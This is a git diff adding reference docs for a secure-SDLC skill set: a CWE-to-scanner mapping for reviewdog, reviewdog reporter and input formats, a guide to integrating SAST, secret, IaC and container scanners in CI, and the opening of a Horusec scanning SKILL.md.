+| **A07: Authentication Failures** | CWE-255, CWE-259, CWE-287, CWE-288, CWE-290, CWE-294, CWE-295, CWE-297, CWE-300, CWE-302, CWE-304, CWE-306, CWE-307, CWE-346, CWE-384, CWE-521, CWE-613, CWE-620, CWE-640, CWE-798, CWE-940, CWE-1216 | Semgrep, Bandit, Gitleaks | +| **A08: Software/Data Integrity** | CWE-345, CWE-353, CWE-426, CWE-494, CWE-502, CWE-565, CWE-784, CWE-829, CWE-830, CWE-915 | Bandit, Semgrep | +| **A09: Security Logging Failures** | CWE-117, CWE-223, CWE-532, CWE-778 | Semgrep | +| **A10: SSRF** | CWE-918 | Semgrep, Bandit | + +## Tool-Specific CWE Coverage + +### Semgrep + +**Primary CWE Coverage**: +- CWE-20: Improper Input Validation +- CWE-22: Path Traversal +- CWE-78: OS Command Injection +- CWE-79: Cross-site Scripting (XSS) +- CWE-89: SQL Injection +- CWE-94: Code Injection +- CWE-327: Use of Broken Cryptography +- CWE-502: Deserialization of Untrusted Data +- CWE-601: Open Redirect +- CWE-611: XXE +- CWE-798: Hardcoded Credentials +- CWE-918: SSRF + +**Example Detections**: +```bash +# SQL Injection (CWE-89) +semgrep --config "p/sql-injection" --json | reviewdog -f=semgrep + +# XSS (CWE-79) +semgrep --config "p/xss" --json | reviewdog -f=semgrep + +# Command Injection (CWE-78) +semgrep --config "p/command-injection" --json | reviewdog -f=semgrep +``` + +--- + +### Bandit (Python) + +**Primary CWE Coverage**: +- CWE-78: OS Command Injection (shell=True) +- CWE-89: SQL Injection +- CWE-259: Hard-coded Password +- CWE-295: Improper Certificate Validation +- CWE-327: Broken Crypto (MD5, SHA1) +- CWE-338: Weak PRNG +- CWE-502: Pickle Deserialization +- CWE-798: Hardcoded Credentials + +**Bandit Test ID to CWE**: +| Bandit Test | CWE | Description | +|-------------|-----|-------------| +| B201 | CWE-209 | Flask debug mode | +| B301 | CWE-502 | Pickle usage | +| B302 | CWE-327 | MD5 usage | +| B303 | CWE-327 | SHA1 usage | +| B304 | CWE-327 | Insecure ciphers | +| B305 | CWE-327 | Insecure cipher modes | +| B306 | CWE-378 | Insecure temp file | +| B307 | CWE-78 | eval() usage | +| B308 | CWE-94 | mark_safe usage | +| B310 | CWE-601 | URL open | +| B311 | CWE-338 | Weak random | +| B324 | CWE-327 | hashlib.new insecure | +| B501 | CWE-295 | Cert validation disabled | +| B601 | CWE-78 | Paramiko exec | +| B602 | CWE-78 | Shell injection | +| B603 | CWE-78 | Subprocess w/o shell | +| B604 | CWE-78 | Shell=True | +| B605 | CWE-78 | Shell command strings | +| B607 | CWE-78 | Partial path process | + +**Example**: +```bash +bandit -r . -f json | reviewdog -f=bandit -reporter=github-pr-review +``` + +--- + +### Gitleaks + +**Primary CWE Coverage**: +- CWE-798: Use of Hard-coded Credentials + +**Detected Secret Types**: +- API keys and tokens +- AWS credentials +- Database passwords +- Private keys (SSH, PGP, certificates) +- OAuth tokens +- JWT secrets + +**Example**: +```bash +gitleaks detect --report-format json | reviewdog -f=gitleaks -reporter=github-pr-review +``` + +--- + +### Checkov (IaC) + +**Primary CWE Coverage**: +- CWE-250: Execution with Unnecessary Privileges +- CWE-284: Improper Access Control +- CWE-326: Inadequate Encryption Strength +- CWE-521: Weak Password Requirements +- CWE-601: Open Redirect +- CWE-668: Exposure of Resource + +**Common Findings**: +```bash +# S3 bucket public access (CWE-284, CWE-668) +# Unencrypted storage (CWE-326) +# Overly permissive IAM (CWE-250, CWE-284) +# Missing encryption in transit (CWE-319) + +checkov -d . --framework terraform -o json | reviewdog -f=checkov +``` + +--- + +### Hadolint (Dockerfile) + +**Primary CWE Coverage**: +- CWE-250: Execution with Unnecessary Privileges (USER root) +- CWE-798: Hardcoded Credentials in ENV + +**Common Issues**: +- DL3000-DL3999: Dockerfile best practices +- DL4000-DL4999: Security issues + +**Example**: +```bash +hadolint Dockerfile --format json | reviewdog -f=hadolint +``` + +--- + +### ShellCheck + +**Primary CWE Coverage**: +- CWE-78: OS Command Injection +- CWE-377: Insecure Temporary File + +**Example**: +```bash +shellcheck -f json script.sh | reviewdog -f=shellcheck +``` + +--- + +## CWE Categories + +### CWE Top 25 (2023) + +The most dangerous software weaknesses: + +| Rank | CWE-ID | Name | Reviewdog Tools | +|------|--------|------|-----------------| +| 1 | CWE-787 | Out-of-bounds Write | - | +| 2 | CWE-79 | Cross-site Scripting | Semgrep, ESLint | +| 3 | CWE-89 | SQL Injection | Semgrep, Bandit | +| 4 | CWE-20 | Improper Input Validation | Semgrep, Bandit | +| 5 | CWE-125 | Out-of-bounds Read | - | +| 6 | CWE-78 | OS Command Injection | Semgrep, Bandit, ShellCheck | +| 7 | CWE-416 | Use After Free | - | +| 8 | CWE-22 | Path Traversal | Semgrep, Bandit | +| 9 | CWE-352 | CSRF | Semgrep | +| 10 | CWE-434 | Unrestricted Upload | Semgrep | +| 11 | CWE-862 | Missing Authorization | Semgrep | +| 12 | CWE-476 | NULL Pointer Dereference | - | +| 13 | CWE-287 | Improper Authentication | Semgrep, Bandit | +| 14 | CWE-190 | Integer Overflow | - | +| 15 | CWE-502 | Deserialization | Bandit, Semgrep | +| 16 | CWE-77 | Command Injection | Semgrep, Bandit | +| 17 | CWE-119 | Memory Buffer Errors | - | +| 18 | CWE-798 | Hardcoded Credentials | Gitleaks, Bandit, Semgrep | +| 19 | CWE-918 | SSRF | Semgrep | +| 20 | CWE-306 | Missing Authentication | Semgrep | +| 21 | CWE-362 | Race Condition | - | +| 22 | CWE-269 | Improper Privilege Mgmt | Checkov, Semgrep | +| 23 | CWE-94 | Code Injection | Semgrep, Bandit | +| 24 | CWE-863 | Incorrect Authorization | Semgrep | +| 25 | CWE-276 | Incorrect Permissions | Checkov, Semgrep | + +--- + +## Severity Mapping + +Map CWE to severity levels for reviewdog filtering: + +### Critical (fail-on-error) + +- CWE-78: OS Command Injection +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- CWE-94: Code Injection +- CWE-502: Deserialization of Untrusted Data +- CWE-798: Hardcoded Credentials +- CWE-918: SSRF + +**Reviewdog Configuration**: +```bash +semgrep --severity=ERROR --json | \ + reviewdog -f=semgrep -level=error -fail-on-error=true +``` + +--- + +### High (block PR merge) + +- CWE-22: Path Traversal +- CWE-77: Command Injection +- CWE-287: Improper Authentication +- CWE-306: Missing Authentication +- CWE-327: Broken Cryptography +- CWE-601: Open Redirect +- CWE-611: XXE +- CWE-862: Missing Authorization +- CWE-863: Incorrect Authorization + +**Reviewdog Configuration**: +```bash +semgrep --severity=WARNING --json | \ + reviewdog -f=semgrep -level=error -fail-on-error=true +``` + +--- + +### Medium (comment, don't block) + +- CWE-200: Information Exposure +- CWE-209: Error Message Information Leak +- CWE-284: Improper Access Control +- CWE-295: Improper Certificate Validation +- CWE-338: Weak PRNG +- CWE-352: CSRF +- CWE-434: Unrestricted File Upload +- CWE-532: Information Exposure Through Log Files + +**Reviewdog Configuration**: +```bash +semgrep --severity=WARNING --json | \ + reviewdog -f=semgrep -level=warning +``` + +--- + +### Low/Info (informational) + +- CWE-1104: Use of Unmaintained Third Party Components +- CWE-710: Improper Coding Practices +- Configuration best practices +- Code quality issues + +**Reviewdog Configuration**: +```bash +semgrep --severity=INFO --json | \ + reviewdog -f=semgrep -level=info +``` + +--- + +## Example: Comprehensive CWE-Based Scanning + +```yaml +name: CWE-Based Security Scan + +on: [pull_request] + +jobs: + critical-cwe: + name: Critical CWE (78, 79, 89, 94, 502, 798, 918) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: reviewdog/action-setup@v1 + + - name: Scan for Critical CWE + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + # CWE-78, 89, 94 - Injection + semgrep --config "p/security-audit" \ + --severity=ERROR \ + --json | \ + reviewdog -f=semgrep \ + -name="Critical: Injection (CWE-78,89,94)" \ + -reporter=github-pr-review \ + -fail-on-error=true + + # CWE-798 - Hardcoded credentials + gitleaks detect --report-format json | \ + reviewdog -f=gitleaks \ + -name="Critical: Hardcoded Secrets (CWE-798)" \ + -reporter=github-pr-review \ + -fail-on-error=true + + high-cwe: + name: High CWE (22, 287, 327, 601, 862) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + - uses: reviewdog/action-setup@v1 + + - name: Scan for High CWE + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + semgrep --config "p/owasp-top-ten" \ + --json | \ + reviewdog -f=semgrep \ + -name="High: OWASP/CWE" \ + -reporter=github-pr-review \ + -level=error +``` + +--- + +## References + +- [CWE Top 25](https://cwe.mitre.org/top25/) +- [CWE OWASP Top 10 Mapping](https://owasp.org/Top10/) +- [CWE List](https://cwe.mitre.org/data/index.html) +- [CAPEC](https://capec.mitre.org/) - Attack patterns for CWEs diff --git a/skills/secsdlc/reviewdog/references/reporter_formats.md b/skills/secsdlc/reviewdog/references/reporter_formats.md new file mode 100644 index 0000000..830d8d3 --- /dev/null +++ b/skills/secsdlc/reviewdog/references/reporter_formats.md @@ -0,0 +1,457 @@ +# Reviewdog Reporter Formats + +This reference documents the available reporter formats and output modes for reviewdog. + +## Table of Contents + +- [Reporter Types](#reporter-types) +- [GitHub Reporters](#github-reporters) +- [GitLab Reporters](#gitlab-reporters) +- [Generic Reporters](#generic-reporters) +- [Input Formats](#input-formats) +- [Configuration Examples](#configuration-examples) + +## Reporter Types + +Reviewdog supports multiple reporter formats for different CI/CD platforms and use cases. + +### Quick Reference + +| Reporter | Platform | Use Case | Requires Token | +|----------|----------|----------|----------------| +| `local` | Any | Local development, terminal output | No | +| `github-check` | GitHub | Check Runs API | Yes | +| `github-pr-check` | GitHub | Check Runs on PR | Yes | +| `github-pr-review` | GitHub | PR review comments | Yes | +| `gitlab-mr-discussion` | GitLab | MR discussion threads | Yes | +| `gitlab-mr-commit` | GitLab | MR commit comments | Yes | +| `bitbucket-code-report` | Bitbucket | Code Insights | Yes | +| `gerrit-change-review` | Gerrit | Change review comments | Yes | + +## GitHub Reporters + +### github-check + +Posts findings as GitHub Check Runs (visible in PR checks tab). + +**Usage**: +```bash +reviewdog -reporter=github-check +``` + +**Environment Variables**: +```bash +export REVIEWDOG_GITHUB_API_TOKEN="ghp_xxxxxxxxxxxx" +# or use GitHub Actions built-in token +export REVIEWDOG_GITHUB_API_TOKEN="${GITHUB_TOKEN}" +``` + +**Permissions Required**: +- `checks: write` +- `contents: read` + +**Output**: +- Appears in "Checks" tab of PR +- Shows annotation count +- Can block PR merge if configured + +**Example**: +```yaml +- name: Run security scan + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + bandit -r . -f json | reviewdog -f=bandit -reporter=github-check +``` + +--- + +### github-pr-check + +Similar to `github-check` but specifically for pull requests. + +**Usage**: +```bash +reviewdog -reporter=github-pr-check +``` + +**Differences from github-check**: +- Only runs on PRs (not on push to branches) +- Better integration with PR workflow +- Recommended for most PR-based workflows + +--- + +### github-pr-review + +Posts findings as inline PR review comments. + +**Usage**: +```bash +reviewdog -reporter=github-pr-review +``` + +**Permissions Required**: +- `pull-requests: write` +- `contents: read` + +**Features**: +- Inline comments on specific lines +- Grouped by file +- Shows in "Files changed" tab +- Can suggest changes + +**Filter Modes**: +```bash +# Only comment on added lines +reviewdog -reporter=github-pr-review -filter-mode=added + +# Comment on modified context (added + surrounding) +reviewdog -reporter=github-pr-review -filter-mode=diff_context + +# Comment on all findings in changed files +reviewdog -reporter=github-pr-review -filter-mode=file +``` + +**Example with Suggested Changes**: +```bash +# Some tools can suggest fixes +semgrep --config=auto --json | \ + reviewdog -f=semgrep -reporter=github-pr-review +``` + +--- + +## GitLab Reporters + +### gitlab-mr-discussion + +Posts findings as GitLab merge request discussion threads. + +**Usage**: +```bash +reviewdog -reporter=gitlab-mr-discussion +``` + +**Environment Variables**: +```bash +export REVIEWDOG_GITLAB_API_TOKEN="glpat-xxxxxxxxxxxx" +export CI_API_V4_URL="https://gitlab.com/api/v4" +export CI_MERGE_REQUEST_IID="123" +export CI_PROJECT_ID="456" +``` + +**Permissions Required**: +- API access with `api` scope +- Write access to merge requests + +**Features**: +- Creates discussion threads on specific lines +- Supports threaded conversations +- Can mark as resolved + +**Example (.gitlab-ci.yml)**: +```yaml +security_review: + script: + - bandit -r . -f json | reviewdog -f=bandit -reporter=gitlab-mr-discussion + variables: + REVIEWDOG_GITLAB_API_TOKEN: $GITLAB_TOKEN + only: + - merge_requests +``` + +--- + +### gitlab-mr-commit + +Posts findings as commit comments on merge request. + +**Usage**: +```bash +reviewdog -reporter=gitlab-mr-commit +``` + +**Differences from gitlab-mr-discussion**: +- Comments attached to specific commits +- Less conversational +- Good for historical tracking + +--- + +## Generic Reporters + +### local + +Outputs findings to terminal/console (default for local development). + +**Usage**: +```bash +reviewdog -reporter=local +``` + +**Output Format**: +``` +app/models.py:42:10: [error] SQL Injection vulnerability (CWE-89) [bandit] +app/views.py:15:5: [warning] Use of hardcoded password (CWE-798) [semgrep] +``` + +**Features**: +- No API token required +- Color-coded severity levels +- File path and line numbers +- Works in any CI environment + +**Example**: +```bash +# Quick local scan +semgrep --config=auto --json | reviewdog -f=semgrep -reporter=local +``` + +--- + +### bitbucket-code-report + +Posts findings to Bitbucket Code Insights. + +**Usage**: +```bash +reviewdog -reporter=bitbucket-code-report +``` + +**Environment Variables**: +```bash +export BITBUCKET_USER="username" +export BITBUCKET_PASSWORD="app_password" +``` + +--- + +### gerrit-change-review + +Posts findings as Gerrit change review comments. + +**Usage**: +```bash +reviewdog -reporter=gerrit-change-review +``` + +**Environment Variables**: +```bash +export GERRIT_USERNAME="user" +export GERRIT_PASSWORD="password" +export GERRIT_CHANGE_ID="I1234567890abcdef" +export GERRIT_REVISION_ID="1" +export GERRIT_ADDRESS="https://gerrit.example.com" +``` + +--- + +## Input Formats + +Reviewdog supports multiple input formats from security tools: + +### Supported Formats + +| Format | Tools | Description | +|--------|-------|-------------| +| `checkstyle` | Generic XML | Checkstyle XML format | +| `sarif` | Many SAST tools | Static Analysis Results Interchange Format | +| `rdjson` | Custom tools | Reviewdog Diagnostic Format (JSON) | +| `rdjsonl` | Custom tools | Reviewdog Diagnostic Format (JSON Lines) | +| `diff` | diff, git-diff | Unified diff format | +| `bandit` | Bandit | Bandit JSON output | +| `semgrep` | Semgrep | Semgrep JSON output | +| `gitleaks` | Gitleaks | Gitleaks JSON output | +| `hadolint` | Hadolint | Hadolint JSON output | +| `checkov` | Checkov | Checkov JSON output | +| `shellcheck` | ShellCheck | ShellCheck JSON output | +| `eslint` | ESLint | ESLint JSON output | + +### rdjson Format (Custom Tools) + +Use this format to integrate custom security scanners: + +```json +{ + "source": { + "name": "my-security-scanner", + "url": "https://github.com/example/scanner" + }, + "severity": "ERROR", + "diagnostics": [ + { + "message": "Vulnerability description", + "location": { + "path": "src/app.py", + "range": { + "start": {"line": 42, "column": 10}, + "end": {"line": 42, "column": 30} + } + }, + "severity": "ERROR", + "code": { + "value": "CWE-89", + "url": "https://cwe.mitre.org/data/definitions/89.html" + }, + "suggestions": [ + { + "text": "Use parameterized queries", + "range": { + "start": {"line": 42, "column": 10}, + "end": {"line": 42, "column": 30} + }, + "replacement": "cursor.execute('SELECT * FROM users WHERE id = ?', (user_id,))" + } + ] + } + ] +} +``` + +**Severity Levels**: +- `ERROR` - High severity, should block PR +- `WARNING` - Medium severity, should review +- `INFO` - Low severity, informational + +**Usage**: +```bash +./my-scanner --output json | reviewdog -f=rdjson -reporter=github-pr-review +``` + +--- + +## Configuration Examples + +### Multi-Reporter Setup + +Run the same scan with different reporters based on environment: + +```bash +#!/bin/bash + +if [ -n "$GITHUB_ACTIONS" ]; then + REPORTER="github-pr-review" +elif [ -n "$GITLAB_CI" ]; then + REPORTER="gitlab-mr-discussion" +else + REPORTER="local" +fi + +semgrep --config=auto --json | \ + reviewdog -f=semgrep -reporter="$REPORTER" +``` + +--- + +### .reviewdog.yml Configuration + +Define multiple runners with different reporters: + +```yaml +runner: + critical-findings: + cmd: semgrep --severity=ERROR --json + format: semgrep + name: Critical Security Issues + level: error + reporter: github-pr-review + + warnings: + cmd: semgrep --severity=WARNING --json + format: semgrep + name: Security Warnings + level: warning + reporter: github-pr-check + + info: + cmd: semgrep --severity=INFO --json + format: semgrep + name: Security Info + level: info + reporter: local +``` + +--- + +### Advanced GitHub Actions Example + +```yaml +name: Security Review + +on: + pull_request: + types: [opened, synchronize, reopened] + +permissions: + contents: read + pull-requests: write + checks: write + +jobs: + security-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Setup reviewdog + uses: reviewdog/action-setup@v1 + + # Critical findings - Block PR + - name: Critical Security Scan + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + semgrep --severity=ERROR --json | \ + reviewdog -f=semgrep \ + -name="Critical" \ + -reporter=github-pr-review \ + -filter-mode=added \ + -fail-on-error=true \ + -level=error + + # Warnings - Comment but don't block + - name: Security Warnings + if: always() + env: + REVIEWDOG_GITHUB_API_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + semgrep --severity=WARNING --json | \ + reviewdog -f=semgrep \ + -name="Warnings" \ + -reporter=github-pr-check \ + -filter-mode=diff_context \ + -level=warning +``` + +--- + +## Troubleshooting + +### Issue: Comments not appearing + +**Check**: +1. Token has correct permissions +2. Reporter matches CI platform +3. Running in PR/MR context (not on main branch) +4. Filter mode is not too restrictive + +### Issue: Duplicate comments + +**Solution**: +- Use `filter-mode=added` to only comment on new code +- Configure reviewdog to run only once per PR + +### Issue: Rate limiting + +**Solution**: +- Batch findings with `github-pr-check` instead of individual comments +- Use GitHub App token instead of PAT for higher rate limits + +--- + +## References + +- [Reviewdog Reporter Documentation](https://github.com/reviewdog/reviewdog#reporters) +- [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf) +- [SARIF Specification](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) diff --git a/skills/secsdlc/reviewdog/references/supported_tools.md b/skills/secsdlc/reviewdog/references/supported_tools.md new file mode 100644 index 0000000..1867123 --- /dev/null +++ b/skills/secsdlc/reviewdog/references/supported_tools.md @@ -0,0 +1,453 @@ +# Supported Security Tools for Reviewdog + +This reference documents security tools that integrate with reviewdog, their configuration, and usage patterns. + +## Table of Contents + +- [SAST Tools](#sast-tools) +- [Secret Detection](#secret-detection) +- [Infrastructure as Code](#infrastructure-as-code) +- [Container Security](#container-security) +- [Linters and Formatters](#linters-and-formatters) + +## SAST Tools + +### Semgrep + +**Description**: Multi-language static analysis for finding bugs and enforcing secure coding standards. + +**Installation**: +```bash +pip install semgrep +``` + +**Reviewdog Integration**: +```bash +semgrep --config=auto --json | reviewdog -f=semgrep -reporter=github-pr-review +``` + +**Custom Rules**: +```bash +# OWASP Top 10 +semgrep --config "p/owasp-top-ten" --json | reviewdog -f=semgrep + +# Security audit +semgrep --config "p/security-audit" --json | reviewdog -f=semgrep + +# Custom rules +semgrep --config ./custom-rules.yml --json | reviewdog -f=semgrep +``` + +**CWE Coverage**: CWE-20, CWE-22, CWE-78, CWE-79, CWE-89, CWE-94, CWE-611, CWE-798 + +--- + +### Bandit + +**Description**: Python security linter for finding common security issues. + +**Installation**: +```bash +pip install bandit +``` + +**Reviewdog Integration**: +```bash +bandit -r . -f json | reviewdog -f=bandit -reporter=github-pr-review +``` + +**Configuration (.bandit)**: +```yaml +exclude_dirs: + - /test + - /tests + - /.venv + +tests: + - B201 # Flask debug mode + - B301 # Pickle usage + - B601 # Shell injection + - B602 # Subprocess with shell=True +``` + +**CWE Coverage**: CWE-78, CWE-79, CWE-89, CWE-259, CWE-327, CWE-338, CWE-502 + +--- + +### ESLint (with security plugins) + +**Description**: JavaScript/TypeScript linter with security-focused plugins. + +**Installation**: +```bash +npm install -D eslint eslint-plugin-security eslint-plugin-no-secrets +``` + +**Reviewdog Integration**: +```bash +eslint . --format=checkstyle | reviewdog -f=checkstyle -reporter=github-pr-review +``` + +**Configuration (.eslintrc.json)**: +```json +{ + "plugins": ["security", "no-secrets"], + "extends": ["plugin:security/recommended"], + "rules": { + "no-eval": "error", + "security/detect-object-injection": "warn", + "security/detect-non-literal-regexp": "warn" + } +} +``` + +**CWE Coverage**: CWE-79, CWE-94, CWE-798, CWE-1004 + +--- + +## Secret Detection + +### Gitleaks + +**Description**: SAST tool for detecting hardcoded secrets like passwords, API keys, and tokens. + +**Installation**: +```bash +# Via Homebrew +brew install gitleaks + +# Via Docker +docker pull zricethezav/gitleaks:latest +``` + +**Reviewdog Integration**: +```bash +gitleaks detect --report-format json | reviewdog -f=gitleaks -reporter=github-pr-review +``` + +**Configuration (.gitleaks.toml)**: +```toml +[extend] +useDefault = true + +[[rules]] +id = "custom-api-key" +description = "Custom API Key Pattern" +regex = '''(?i)api[_-]?key[_-]?=.{20,}''' +``` + +**CWE Coverage**: CWE-798 (Use of Hard-coded Credentials) + +--- + +### TruffleHog + +**Description**: Find credentials accidentally committed to git repositories. + +**Installation**: +```bash +pip install truffleHog +``` + +**Reviewdog Integration**: +```bash +trufflehog --json . | reviewdog -f=trufflehog -reporter=github-pr-review +``` + +**CWE Coverage**: CWE-798 + +--- + +## Infrastructure as Code + +### Checkov + +**Description**: Static code analysis for IaC (Terraform, CloudFormation, Kubernetes, etc.). + +**Installation**: +```bash +pip install checkov +``` + +**Reviewdog Integration**: +```bash +checkov -d . -o json | reviewdog -f=checkov -reporter=github-pr-review +``` + +**Filter by Severity**: +```bash +# Only critical/high +checkov -d . --severity CRITICAL,HIGH -o json | reviewdog -f=checkov +``` + +**CWE Coverage**: CWE-250, CWE-284, CWE-326, CWE-601, CWE-668 + +--- + +### tfsec + +**Description**: Security scanner for Terraform code. + +**Installation**: +```bash +brew install tfsec +``` + +**Reviewdog Integration**: +```bash +tfsec . --format json | reviewdog -f=tfsec -reporter=github-pr-review +``` + +**CWE Coverage**: CWE-250, CWE-326, CWE-521 + +--- + +### Terrascan + +**Description**: Detect compliance and security violations across IaC. + +**Installation**: +```bash +brew install terrascan +``` + +**Reviewdog Integration**: +```bash +terrascan scan -o json | reviewdog -f=terrascan -reporter=github-pr-review +``` + +**CWE Coverage**: CWE-250, CWE-284, CWE-693 + +--- + +## Container Security + +### Hadolint + +**Description**: Dockerfile linter for best practices and security issues. + +**Installation**: +```bash +brew install hadolint +``` + +**Reviewdog Integration**: +```bash +hadolint Dockerfile --format json | reviewdog -f=hadolint -reporter=github-pr-review +``` + +**Common Issues Detected**: +- Running as root (CWE-250) +- Exposed secrets in ENV (CWE-798) +- Outdated base images +- Missing health checks + +**CWE Coverage**: CWE-250, CWE-798 + +--- + +### Trivy + +**Description**: Comprehensive container and IaC security scanner. + +**Installation**: +```bash +brew install trivy +``` + +**Reviewdog Integration**: +```bash +trivy fs --format json . | reviewdog -f=trivy -reporter=github-pr-review +``` + +**Scan Types**: +```bash +# Container images +trivy image --format json myimage:tag | reviewdog -f=trivy + +# Filesystem +trivy fs --security-checks vuln,secret --format json . | reviewdog -f=trivy + +# Kubernetes manifests +trivy k8s --report=summary --format json | reviewdog -f=trivy +``` + +**CWE Coverage**: Varies by vulnerability database + +--- + +## Linters and Formatters + +### ShellCheck + +**Description**: Static analysis tool for shell scripts. + +**Installation**: +```bash +brew install shellcheck +``` + +**Reviewdog Integration**: +```bash +shellcheck -f json script.sh | reviewdog -f=shellcheck -reporter=github-pr-review +``` + +**Security Checks**: +- Command injection (CWE-78) +- Unsafe variable expansion +- Insecure temporary files (CWE-377) + +**CWE Coverage**: CWE-78, CWE-377 + +--- + +### yamllint + +**Description**: YAML linter for syntax and best practices. + +**Installation**: +```bash +pip install yamllint +``` + +**Reviewdog Integration**: +```bash +yamllint -f parsable . | reviewdog -f=yamllint -reporter=github-pr-review +``` + +--- + +### markdownlint + +**Description**: Markdown linter for documentation quality. + +**Installation**: +```bash +npm install -g markdownlint-cli +``` + +**Reviewdog Integration**: +```bash +markdownlint -j . | reviewdog -f=markdownlint -reporter=github-pr-review +``` + +--- + +## Multi-Tool Configurations + +### Comprehensive Security Scan + +Run all security tools in a single reviewdog session: + +```yaml +# .reviewdog.yml +runner: + semgrep: + cmd: semgrep --config=auto --json + format: semgrep + name: Semgrep SAST + level: error + + bandit: + cmd: bandit -r . -f json + format: bandit + name: Python Security + level: warning + + gitleaks: + cmd: gitleaks detect --report-format json + format: gitleaks + name: Secret Detection + level: error + + hadolint: + cmd: hadolint Dockerfile --format json + format: hadolint + name: Dockerfile Security + level: warning + + checkov: + cmd: checkov -d . -o json --quiet + format: checkov + name: IaC Security + level: error +``` + +Run with: +```bash +reviewdog -conf=.reviewdog.yml -reporter=github-pr-review +``` + +--- + +## Tool Selection Guide + +Choose tools based on your tech stack: + +**Python Projects**: +- Bandit (SAST) +- Semgrep (Multi-language SAST) +- Gitleaks (Secrets) + +**JavaScript/TypeScript**: +- ESLint + security plugins +- Semgrep +- Gitleaks + +**Infrastructure/Cloud**: +- Checkov (Terraform, K8s, CloudFormation) +- tfsec (Terraform-specific) +- Hadolint (Dockerfiles) +- Trivy (Containers + IaC) + +**Multi-language/Polyglot**: +- Semgrep (20+ languages) +- Gitleaks (Universal secrets) +- ShellCheck (Shell scripts) + +--- + +## Custom Tool Integration + +To integrate a custom security tool: + +1. **Convert output to supported format** (checkstyle, sarif, rdjson) +2. **Use rdjson for custom tools**: + +```json +{ + "source": { + "name": "custom-scanner", + "url": "https://example.com" + }, + "diagnostics": [ + { + "message": "SQL Injection vulnerability detected", + "location": { + "path": "app/models.py", + "range": { + "start": {"line": 42, "column": 10} + } + }, + "severity": "ERROR", + "code": { + "value": "CWE-89", + "url": "https://cwe.mitre.org/data/definitions/89.html" + } + } + ] +} +``` + +3. **Pipe to reviewdog**: +```bash +./custom_scanner --json | reviewdog -f=rdjson -name="Custom Scanner" +``` + +--- + +## References + +- [Reviewdog Supported Tools](https://reviewdog.github.io/supported-tools) +- [rdjson Format Specification](https://github.com/reviewdog/reviewdog/tree/master/proto/rdf) +- [SARIF Format](https://sarifweb.azurewebsites.net/) diff --git a/skills/secsdlc/sast-horusec/SKILL.md b/skills/secsdlc/sast-horusec/SKILL.md new file mode 100644 index 0000000..4c0a6a8 --- /dev/null +++ b/skills/secsdlc/sast-horusec/SKILL.md @@ -0,0 +1,356 @@ +--- +name: sast-horusec +description: > + Multi-language static application security testing using Horusec with support for 18+ programming + languages and 20+ security analysis tools. Performs SAST scans, secret detection in git history, + and provides vulnerability findings with severity classification. Use when: (1) Analyzing code + for security vulnerabilities across multiple languages simultaneously, (2) Detecting exposed + secrets and credentials in git history, (3) Integrating SAST into CI/CD pipelines for secure SDLC, + (4) Performing comprehensive security analysis during development, (5) Managing false positives + and prioritizing security findings. +version: 0.1.0 +maintainer: asrour +category: secsdlc +tags: [sast, horusec, vulnerability-scanning, multi-language, secrets-detection, static-analysis, secure-sdlc] +frameworks: [OWASP, CWE] +dependencies: + tools: [docker, git] +references: + - https://github.com/ZupIT/horusec + - https://docs.horusec.io/ +--- + +# Horusec SAST Scanner + +## Overview + +Horusec is an open-source security analysis tool that performs static code analysis across 18+ programming languages using 20+ integrated security tools. It identifies vulnerabilities during development, scans git history for exposed secrets, and integrates seamlessly into CI/CD pipelines for secure SDLC practices. + +## Supported Languages + +C#, Java, Kotlin, Python, Ruby, Golang, Terraform, JavaScript, TypeScript, Kubernetes, PHP, C, HTML, JSON, Dart, Elixir, Shell, Nginx + +## Quick Start + +Run Horusec scan on current project: + +```bash +# Using Docker (recommended) +docker run -v /var/run/docker.sock:/var/run/docker.sock \ + -v $(pwd):/src horuszup/horusec-cli:latest horusec start -p /src -P $(pwd) + +# Local installation +horusec start -p ./path/to/project +``` + +## Core Workflows + +### Workflow 1: Local Security Scan + +For developers performing pre-commit security analysis: + +1. Navigate to project directory +2. Run Horusec scan: + ```bash + horusec start -p . -o json -O horusec-report.json + ``` +3. Review JSON output for vulnerabilities +4. Filter by severity (HIGH, MEDIUM, LOW, INFO) +5. Address critical and high-severity findings +6. Re-scan to validate fixes + +### Workflow 2: CI/CD Pipeline Integration + +Progress: +[ ] 1. Add Horusec to CI/CD pipeline configuration +[ ] 2. Configure output format (JSON for automated processing) +[ ] 3. Set severity threshold for build failures +[ ] 4. Run scan on each commit or pull request +[ ] 5. Parse results and fail build on high-severity findings +[ ] 6. Generate security reports for audit trail +[ ] 7. Track remediation progress over time + +Work through each step systematically. Check off completed items. + +### Workflow 3: Git History Secret Scanning + +For detecting exposed credentials and secrets: + +1. Run Horusec with git history analysis enabled: + ```bash + horusec start -p . --enable-git-history-analysis + ``` +2. Review detected secrets and credentials +3. Rotate compromised credentials immediately +4. Add detected patterns to `.gitignore` and `.horusec/config.json` +5. Use git-filter-branch or BFG Repo-Cleaner to remove from history (if needed) +6. Document incident and update security procedures + +### Workflow 4: False Positive Management + +When managing scan results and reducing noise: + +1. Run initial scan and export results: + ```bash + horusec start -p . -o json -O results.json + ``` +2. Review findings and identify false positives +3. Create or update `.horusec/config.json` with ignore rules: + ```json + { + "horusecCliRiskAcceptHashes": ["hash1", "hash2"], + "horusecCliFilesOrPathsToIgnore": ["**/test/**", "**/vendor/**"] + } + ``` +4. Re-run scan to verify false positives are suppressed +5. Document risk acceptance decisions for compliance +6. Periodically review ignored findings + +## Configuration + +Create `.horusec/config.json` in project root for custom configuration: + +```json +{ + "horusecCliCertInsecureSkipVerify": false, + "horusecCliCertPath": "", + "horusecCliContainerBindProjectPath": "", + "horusecCliCustomImages": {}, + "horusecCliCustomRulesPath": "", + "horusecCliDisableDocker": false, + "horusecCliFalsePositiveHashes": [], + 